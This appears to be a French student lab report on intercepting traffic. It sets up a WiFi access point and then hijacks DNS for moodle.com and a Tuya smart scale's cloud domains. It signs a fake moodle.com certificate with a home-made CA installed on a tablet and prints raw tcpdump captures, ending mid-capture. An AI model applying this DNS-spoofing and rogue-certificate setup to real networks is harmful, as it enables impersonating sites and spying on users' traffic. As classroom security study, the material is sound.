&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
